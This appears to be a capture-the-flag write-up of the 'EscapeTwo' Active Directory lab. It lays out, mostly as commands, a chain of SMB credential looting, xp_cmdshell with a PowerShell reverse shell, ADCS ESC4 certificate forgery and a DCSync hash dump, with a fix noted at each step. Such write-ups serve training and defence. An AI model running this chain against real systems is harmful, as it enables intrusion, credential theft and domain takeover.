EscapeTwo
Summary
Starting with a valid low-privilege domain account (rose), I enumerated a readable SMB share called 'Accounting Department' and extracted a plaintext SQL Server SA password stored inside a spreadsheet. Using those credentials I authenticated to the exposed SQL Server, enabled the built-in command-execution stored procedure xp_cmdshell, and ran OS commands as the SQL service account (sql_svc).
A plaintext password embedded in a leftover SQL Server installation configuration file on disk then gave access to a second domain account (ryan.cooper) with WinRM access and the user flag. That account held write-owner rights over an Active Directory Certificate Services (ADCS) certificate template; by abusing those rights to modify the template and enroll a certificate impersonating the domain Administrator, I obtained a Kerberos ticket authenticating as Administrator — then performed a DCSync to dump every domain password hash, achieving complete control of the sequel.htb domain.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <admin_ntlm_hash>, <base64_encoded_reverse_shell>, <ryan_password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Add domain and DC hostname to local DNS resolution.
$ echo "$TARGET sequel.htb dc01.sequel.htb" | sudo tee -a /etc/hostsVersion-detect key AD ports and capture banner output.
$ nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -oN dc01_scan.txt $TARGETConfirm OS version, hostname, domain, and SMB signing status without credentials.
$ netexec smb $TARGETExact commands 2
List all shares accessible to the rose account.
$ netexec smb $TARGET -u rose -p "$PASSWORD3" -d sequel.htb --sharesDownload all files from the Accounting Department share into the current directory.
$ smbclient "//$TARGET/Accounting Department" -U "sequel.htb\rose%$PASSWORD3" -c 'prompt OFF; mget *'FixRemove credentials and sensitive data from SMB file sharesCritical
Exact commands 2
Dump all cell values from accounts.xlsx to screen.
$ python3 -c "import openpyxl; wb=openpyxl.load_workbook('accounts.xlsx'); [print(r) for s in wb.sheetnames for r in wb[s].iter_rows(values_only=True)]"Repeat for the second workbook.
$ python3 -c "import openpyxl; wb=openpyxl.load_workbook('accounting_2024.xlsx'); [print(r) for s in wb.sheetnames for r in wb[s].iter_rows(values_only=True)]"FixRotate the SA password and disable the SA accountCritical
Exact commands 4
Confirm command execution context is sequel\sql_svc.
$ netexec mssql $TARGET -u sa -p "$PASSWORD2" --local-auth -x 'whoami'Open an interactive SQL shell using SQL (local) authentication — domain auth fails for SA.
$ impacket-mssqlclient "sa:$PASSWORD2@$TARGET"Enable xp_cmdshell if not already active (run inside the MSSQL shell).
$ EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;Spawn a reverse PowerShell shell as sql_svc; encode a standard reverse-shell one-liner targeting my listener (nc -lvnp 4444).
$ EXEC xp_cmdshell 'powershell -e <base64_encoded_reverse_shell>';FixDisable xp_cmdshell and run SQL Server under a least-privilege service accountHigh
Exact commands 3
Read the unattended-install response file that stores SQL service account credentials in plaintext.
$ EXEC xp_cmdshell 'type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI';Open a WinRM interactive shell as ryan.cooper using the recovered password.
$ evil-winrm -i $TARGET -u ryan.cooper -p '<ryan_password>'Capture the user flag: <user.txt>
$ type C:\Users\ryan.cooper\Desktop\user.txtFixDelete SQL Server installation response files that contain plaintext passwordsHigh
Exact commands 1
Enumerate ADCS for misconfigured templates; look for ESC4 indicators (WriteOwner, WriteDACL, GenericWrite) under ryan.cooper.
$ certipy find -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -vulnerable -stdoutFixRemove write permissions on ADCS certificate templates from unprivileged accounts (ESC4)Critical
Exact commands 2
Take ownership and grant ryan.cooper GenericAll on the template, then set it to allow arbitrary SAN enrollment.
$ certipy template -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -template '<VulnTemplateName>' -save-oldEnroll in the now-misconfigured template requesting a certificate for the Administrator UPN; saves administrator.pfx.
$ certipy req -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -ca sequel-DC01-CA -template '<VulnTemplateName>' -upn Administrator@sequel.htb -out administratorExact commands 4
Authenticate with the forged cert via PKINIT; outputs the Administrator NTLM hash and a ccache TGT file.
$ certipy auth -pfx administrator.pfx -domain sequel.htb -username Administrator -dc-ip $TARGETDCSync all domain account hashes using the Administrator NTLM hash; replace <admin_ntlm_hash> with certipy output.
$ impacket-secretsdump -hashes ':<admin_ntlm_hash>' sequel.htb/Administrator@$TARGETOpen an administrative shell via Pass-the-Hash to confirm full DC access.
$ evil-winrm -i $TARGET -u Administrator -H '<admin_ntlm_hash>'Capture the root flag: <root.txt>
$ type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 08:28:03Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49687/tcp | unknown recon-sweep-discovered |
| 49688/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49704/tcp | unknown recon-sweep-discovered |
| 49726/tcp | unknown recon-sweep-discovered |
| 49731/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.